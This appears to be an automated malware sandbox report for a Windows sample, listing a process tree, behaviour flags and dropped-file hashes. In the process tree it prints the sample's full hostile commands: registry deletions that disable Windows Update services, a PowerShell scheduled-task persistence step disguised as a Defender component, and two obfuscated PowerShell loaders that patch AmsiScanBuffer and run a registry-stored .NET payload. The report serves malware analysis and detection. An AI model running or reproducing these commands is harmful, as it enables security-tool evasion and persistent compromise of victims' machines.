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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f3⤵
- Modifies security service
PID:4972
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f3⤵PID:2860
-
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f3⤵PID:5080
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#thpqznhs#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'WindowsDefenderSmartScreenQC' /tr '''C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'WindowsDefenderSmartScreenQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderSmartScreenQC" /t REG_SZ /f /d 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe' }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3240
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C:\Windows\System32\dialer.exeC:\Windows\System32\dialer.exe2⤵PID:3960
-
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵PID:2136
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵PID:1692
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:1340
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵PID:1964
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵PID:1892
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache1⤵PID:1884
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1876
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s netprofm1⤵PID:1820
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1756
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s FontCache1⤵PID:1648
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc1⤵PID:1636
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵PID:1628
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵PID:1580
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵PID:1476
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵PID:1420
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵PID:1404
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵PID:1364
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵PID:1288
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵PID:1244
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵PID:1216
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵PID:1180
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵PID:1100
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE "function Local:inOJsfGhKzJF{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$hUCZXNoSRVNrvv,[Parameter(Position=1)][Type]$aQytYyPtqT)$lDUfHGjHBBs=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+[Char](101)+''+[Char](102)+''+[Char](108)+''+'e'+''+[Char](99)+'t'+[Char](101)+''+[Char](100)+'D'+[Char](101)+''+[Char](108)+'e'+[Char](103)+''+[Char](97)+''+'t'+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+'n'+'M'+''+[Char](101)+''+[Char](109)+'o'+[Char](114)+''+'y'+''+[Char](77)+''+[Char](111)+''+'d'+'ule',$False).DefineType(''+'M'+''+[Char](121)+'D'+[Char](101)+'l'+[Char](101)+''+[Char](103)+''+[Char](97)+''+[Char](116)+''+[Char](101)+''+'T'+''+[Char](121)+''+'p'+''+[Char](101)+'',''+[Char](67)+''+[Char](108)+''+'a'+''+[Char](115)+''+[Char](115)+''+','+''+[Char](80)+'u'+'b'+'li'+[Char](99)+''+','+''+'S'+''+'e'+''+'a'+''+'l'+'ed,'+[Char](65)+'n'+[Char](115)+''+[Char](105)+'C'+[Char](108)+'a'+[Char](115)+''+[Char](115)+''+','+''+[Char](65)+''+[Char](117)+''+[Char](116)+'o'+[Char](67)+''+[Char](108)+'a'+'s'+'s',[MulticastDelegate]);$lDUfHGjHBBs.DefineConstructor('R'+[Char](84)+'Spec'+[Char](105)+''+'a'+''+'l'+''+[Char](78)+'a'+[Char](109)+''+'e'+''+[Char](44)+''+[Char](72)+''+[Char](105)+''+'d'+''+'e'+'B'+[Char](121)+''+[Char](83)+'i'+[Char](103)+','+[Char](80)+''+[Char](117)+'bl'+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$hUCZXNoSRVNrvv).SetImplementationFlags(''+[Char](82)+''+'u'+'n'+[Char](116)+''+[Char](105)+''+[Char](109)+''+'e'+''+','+'M'+[Char](97)+''+'n'+''+[Char](97)+''+[Char](103)+''+'e'+''+[Char](100)+'');$lDUfHGjHBBs.DefineMethod('I'+'n'+'voke','P'+'u'+''+'b'+''+[Char](108)+'ic'+','+'H'+[Char](105)+''+[Char](100)+''+'e'+'B'+'y'+'S'+'i'+'g'+','+''+'N'+''+'e'+''+'w'+''+'S'+''+[Char](108)+''+[Char](111)+''+'t'+''+[Char](44)+''+[Char](86)+''+[Char](105)+''+'r'+''+[Char](116)+'u'+[Char](97)+''+[Char](108)+'',$aQytYyPtqT,$hUCZXNoSRVNrvv).SetImplementationFlags('Ru'+[Char](110)+''+[Char](116)+''+[Char](105)+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](77)+''+'a'+''+'n'+''+[Char](97)+''+'g'+''+'e'+'d');Write-Output $lDUfHGjHBBs.CreateType();}$dPXWxjunbTxfg=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+'s'+''+'t'+''+[Char](101)+''+[Char](109)+''+[Char](46)+''+[Char](100)+''+[Char](108)+'l')}).GetType(''+[Char](77)+'i'+[Char](99)+'ros'+'o'+''+[Char](102)+''+[Char](116)+'.Wi'+[Char](110)+''+[Char](51)+''+'2'+''+[Char](46)+''+'U'+'n'+[Char](115)+'a'+[Char](102)+'e'+'d'+''+'P'+''+'X'+'Wx'+'j'+'u'+'n'+''+'b'+'Tx'+[Char](102)+'g');$gkXAUtkxejAKbw=$dPXWxjunbTxfg.GetMethod(''+[Char](103)+''+[Char](107)+'XA'+[Char](85)+''+'t'+''+[Char](107)+''+'x'+''+'e'+''+[Char](106)+'A'+[Char](75)+''+'b'+''+[Char](119)+'',[Reflection.BindingFlags]'Pu'+[Char](98)+''+[Char](108)+'i'+'c'+''+[Char](44)+''+[Char](83)+''+[Char](116)+''+[Char](97)+''+[Char](116)+''+[Char](105)+'c',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$XuybnqLbyqWYsRmhNBi=inOJsfGhKzJF @([String])([IntPtr]);$VEVsyCLALvcUouCOWunNBQ=inOJsfGhKzJF @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$FOhDAThFcxK=$dPXWxjunbTxfg.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+''+[Char](77)+''+'o'+''+[Char](100)+''+[Char](117)+''+[Char](108)+''+[Char](101)+''+[Char](72)+'an'+'d'+''+'l'+'e').Invoke($Null,@([Object](''+'k'+''+'e'+''+[Char](114)+''+[Char](110)+''+[Char](101)+''+[Char](108)+'3'+'2'+''+'.'+'d'+'l'+''+[Char](108)+'')));$glAvTzbehaSnmy=$gkXAUtkxejAKbw.Invoke($Null,@([Object]$FOhDAThFcxK,[Object]('L'+'o'+''+'a'+''+[Char](100)+''+[Char](76)+''+[Char](105)+''+'b'+''+[Char](114)+''+'a'+''+[Char](114)+''+[Char](121)+''+[Char](65)+'')));$ZanewhEZIWiQNCDeD=$gkXAUtkxejAKbw.Invoke($Null,@([Object]$FOhDAThFcxK,[Object](''+[Char](86)+'i'+[Char](114)+''+[Char](116)+''+[Char](117)+''+'a'+''+[Char](108)+''+[Char](80)+''+[Char](114)+''+[Char](111)+''+[Char](116)+''+[Char](101)+''+'c'+''+[Char](116)+'')));$xSeeuxO=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($glAvTzbehaSnmy,$XuybnqLbyqWYsRmhNBi).Invoke(''+[Char](97)+''+'m'+''+'s'+''+[Char](105)+''+'.'+'dll');$kyzVfMKHylNdCPEMS=$gkXAUtkxejAKbw.Invoke($Null,@([Object]$xSeeuxO,[Object]('A'+'m'+'si'+'S'+''+'c'+''+[Char](97)+''+[Char](110)+''+'B'+'u'+'f'+''+[Char](102)+''+[Char](101)+''+[Char](114)+'')));$MiUdNLCGmF=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ZanewhEZIWiQNCDeD,$VEVsyCLALvcUouCOWunNBQ).Invoke($kyzVfMKHylNdCPEMS,[uint32]8,4,[ref]$MiUdNLCGmF);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc2,0x18,0),0,$kyzVfMKHylNdCPEMS,8);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ZanewhEZIWiQNCDeD,$VEVsyCLALvcUouCOWunNBQ).Invoke($kyzVfMKHylNdCPEMS,[uint32]8,0x20,[ref]$MiUdNLCGmF);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+'O'+'F'+'T'+''+'W'+''+[Char](65)+''+[Char](82)+''+[Char](69)+'').GetValue(''+[Char](100)+''+[Char](105)+'al'+[Char](101)+''+[Char](114)+''+'s'+'t'+'a'+''+[Char](103)+''+'e'+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)2⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:4004
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:chTZsBRpwUuW{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$FeVdiKKwYGnXpx,[Parameter(Position=1)][Type]$sNbqdyKHwJ)$TWKSVQjFKbn=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+'efl'+'e'+''+'c'+'t'+'e'+'d'+[Char](68)+''+[Char](101)+''+[Char](108)+'e'+[Char](103)+'a'+[Char](116)+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('I'+'n'+''+[Char](77)+''+'e'+''+'m'+''+'o'+''+[Char](114)+'yM'+'o'+'d'+'u'+''+[Char](108)+''+'e'+'',$False).DefineType(''+[Char](77)+''+[Char](121)+''+[Char](68)+''+[Char](101)+'le'+[Char](103)+'a'+[Char](116)+'e'+'T'+''+[Char](121)+''+'p'+''+'e'+'','C'+'l'+'a'+[Char](115)+''+[Char](115)+''+','+''+[Char](80)+''+[Char](117)+''+'b'+''+[Char](108)+''+[Char](105)+''+'c'+''+','+''+[Char](83)+''+[Char](101)+''+[Char](97)+''+[Char](108)+'e'+[Char](100)+''+[Char](44)+''+[Char](65)+''+[Char](110)+''+'s'+''+'i'+''+'C'+''+'l'+''+[Char](97)+'s'+'s'+''+','+''+[Char](65)+''+[Char](117)+'to'+[Char](67)+''+[Char](108)+''+[Char](97)+'s'+[Char](115)+'',[MulticastDelegate]);$TWKSVQjFKbn.DefineConstructor(''+[Char](82)+''+'T'+''+[Char](83)+''+[Char](112)+'ec'+'i'+''+[Char](97)+''+'l'+''+[Char](78)+'a'+[Char](109)+''+'e'+''+[Char](44)+''+'H'+''+[Char](105)+''+[Char](100)+'e'+'B'+''+[Char](121)+'S'+[Char](105)+'g,'+[Char](80)+''+'u'+'b'+[Char](108)+''+'i'+'c',[Reflection.CallingConventions]::Standard,$FeVdiKKwYGnXpx).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+[Char](116)+''+'i'+'m'+[Char](101)+',M'+[Char](97)+'n'+[Char](97)+'ge'+[Char](100)+'');$TWKSVQjFKbn.DefineMethod(''+[Char](73)+''+'n'+'v'+[Char](111)+''+'k'+''+'e'+'',''+'P'+''+'u'+''+[Char](98)+''+'l'+'i'+[Char](99)+','+[Char](72)+''+[Char](105)+''+[Char](100)+''+[Char](101)+'By'+[Char](83)+''+[Char](105)+''+[Char](103)+''+[Char](44)+''+[Char](78)+''+'e'+''+[Char](119)+''+[Char](83)+''+[Char](108)+''+[Char](111)+''+'t'+''+[Char](44)+''+[Char](86)+'i'+[Char](114)+''+[Char](116)+''+'u'+''+[Char](97)+''+[Char](108)+'',$sNbqdyKHwJ,$FeVdiKKwYGnXpx).SetImplementationFlags('Ru'+'n'+''+[Char](116)+'i'+[Char](109)+'e'+[Char](44)+''+[Char](77)+''+'a'+''+'n'+'a'+'g'+''+'e'+''+[Char](100)+'');Write-Output $TWKSVQjFKbn.CreateType();}$XluqZluwGSqKp=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+'y'+'s'+''+[Char](116)+''+'e'+''+[Char](109)+''+[Char](46)+'d'+[Char](108)+'l')}).GetType(''+'M'+''+[Char](105)+''+[Char](99)+''+[Char](114)+''+[Char](111)+'sof'+'t'+''+[Char](46)+'W'+'i'+''+[Char](110)+''+[Char](51)+''+[Char](50)+'.'+[Char](85)+'n'+'s'+'a'+'f'+'eXlu'+[Char](113)+'Zl'+'u'+''+[Char](119)+''+'G'+''+[Char](83)+''+[Char](113)+''+[Char](75)+''+[Char](112)+'');$JlUSTZyXjFNMnu=$XluqZluwGSqKp.GetMethod(''+[Char](74)+''+[Char](108)+''+[Char](85)+'S'+'T'+''+[Char](90)+'y'+'X'+''+[Char](106)+''+[Char](70)+''+'N'+'M'+[Char](110)+''+'u'+'',[Reflection.BindingFlags]'P'+'u'+''+[Char](98)+'l'+[Char](105)+''+'c'+''+','+'S'+[Char](116)+'at'+[Char](105)+'c',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$XRVUsthJktASkGlKYyA=chTZsBRpwUuW @([String])([IntPtr]);$lVTrqSWcQSEpOuAucXiSEY=chTZsBRpwUuW @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$ITFXNulqOmg=$XluqZluwGSqKp.GetMethod('G'+[Char](101)+''+[Char](116)+''+'M'+''+'o'+'d'+[Char](117)+'l'+[Char](101)+''+[Char](72)+''+[Char](97)+''+'n'+'d'+'l'+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+''+'e'+'rn'+[Char](101)+''+'l'+''+[Char](51)+''+[Char](50)+''+[Char](46)+'dl'+'l'+'')));$axksYpWPXlIlug=$JlUSTZyXjFNMnu.Invoke($Null,@([Object]$ITFXNulqOmg,[Object](''+'L'+''+[Char](111)+''+'a'+''+'d'+'L'+'i'+'b'+'r'+''+'a'+'r'+'y'+'A')));$vmcbMZGrvrzkCAZbU=$JlUSTZyXjFNMnu.Invoke($Null,@([Object]$ITFXNulqOmg,[Object](''+'V'+''+[Char](105)+''+'r'+''+[Char](116)+''+'u'+''+[Char](97)+''+'l'+''+'P'+''+'r'+''+'o'+''+[Char](116)+''+[Char](101)+''+[Char](99)+''+[Char](116)+'')));$ypULqbS=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($axksYpWPXlIlug,$XRVUsthJktASkGlKYyA).Invoke('a'+[Char](109)+''+'s'+''+'i'+'.d'+[Char](108)+''+[Char](108)+'');$FTWofmdKEYvNMIteu=$JlUSTZyXjFNMnu.Invoke($Null,@([Object]$ypULqbS,[Object]('A'+[Char](109)+''+[Char](115)+'i'+[Char](83)+''+'c'+''+[Char](97)+''+[Char](110)+''+'B'+'uf'+[Char](102)+''+'e'+''+[Char](114)+'')));$VZgmJpGwyF=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($vmcbMZGrvrzkCAZbU,$lVTrqSWcQSEpOuAucXiSEY).Invoke($FTWofmdKEYvNMIteu,[uint32]8,4,[ref]$VZgmJpGwyF);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$FTWofmdKEYvNMIteu,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($vmcbMZGrvrzkCAZbU,$lVTrqSWcQSEpOuAucXiSEY).Invoke($FTWofmdKEYvNMIteu,[uint32]8,0x20,[ref]$VZgmJpGwyF);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+[Char](79)+''+[Char](70)+'TW'+[Char](65)+''+[Char](82)+''+[Char](69)+'').GetValue('d'+[Char](105)+''+'a'+''+[Char](108)+''+[Char](101)+'r'+[Char](115)+''+[Char](116)+''+[Char](97)+''+[Char](103)+'e'+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:952
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:1040
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:880
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:424
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:940
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 424 -p 2268 -ip 22681⤵PID:224
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 804 -ip 8041⤵PID:3568
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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Filesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
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Filesize
19KB
MD579e43d5df34fc366866b55d621c9870a
SHA1307f4b1c7998ef6ea6ec1a9579861d214bab51a9
SHA2567fd10c3012fc58642ec10b56f9abb7d3246e245f52686ba5bf03e2423f808313
SHA512bffdee06feb761387e46f847831a90e066c95dabf20451717e3e105c2b794d2d157a2713392fe54e3308736fecfd688d10ea4874c4e479620c6a35f30723e9d4
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Filesize
948B
MD5a7ce8cefc3f798abe5abd683d0ef26dd
SHA1b7abb625174a48db3221bf0fee4ecdbc2bd4ee1e
SHA2565e97dee013313bedacd578551a15e88ed87b381ed8f20755cb929b6358fd020a
SHA512c0d1821252d56e7b7d5b5d83891673f279f67638da1f454fb45e0426315cf07cc54c6df2cf77c65c11bcb3a1e4f574f76a3fb9059fde94951ba99d3de0e98d64
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Filesize
1.4MB
MD5bb86a343080f9f4696c250ef31a18d9d
SHA143b2193dcb1d56eac73ba88a7b461822074192d6
SHA256095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0
SHA51224807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560
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Filesize
1.4MB
MD5bb86a343080f9f4696c250ef31a18d9d
SHA143b2193dcb1d56eac73ba88a7b461822074192d6
SHA256095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0
SHA51224807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560
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Filesize
3.7MB
MD5f5c51e7760315ad0f0238d268c03c60e
SHA185ebaaa9685634143a72bc82c6e7df87a78eed4c
SHA256ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa
SHA512d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35
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Filesize
3.7MB
MD5f5c51e7760315ad0f0238d268c03c60e
SHA185ebaaa9685634143a72bc82c6e7df87a78eed4c
SHA256ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa
SHA512d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35
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Filesize
1.4MB
MD5b6bbab9f72c88d07b484cc339c475e75
SHA1f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
SHA256dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
SHA5121ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5
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Filesize
1.4MB
MD5b6bbab9f72c88d07b484cc339c475e75
SHA1f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
SHA256dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
SHA5121ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5
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Filesize
674KB
MD5e479ecb1802253a4c94767c8af306baf
SHA1846bb5d88b91b8aa17bdb58eaf246b10e6586402
SHA256b9bfdd7d9a090da9ceaf2d4df414e8fd212a048692b5d90cec81d4e1b1918679
SHA512b42458e3c4b0d8833092323e2f8e2afac015822ac8a7cffbc41c930d61f32b77a6d37bb3b480a5aa538090fe2492dd124732280b4fa0a0c0f2c8cfe9d2d52373
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Filesize
674KB
MD5e479ecb1802253a4c94767c8af306baf
SHA1846bb5d88b91b8aa17bdb58eaf246b10e6586402
SHA256b9bfdd7d9a090da9ceaf2d4df414e8fd212a048692b5d90cec81d4e1b1918679
SHA512b42458e3c4b0d8833092323e2f8e2afac015822ac8a7cffbc41c930d61f32b77a6d37bb3b480a5aa538090fe2492dd124732280b4fa0a0c0f2c8cfe9d2d52373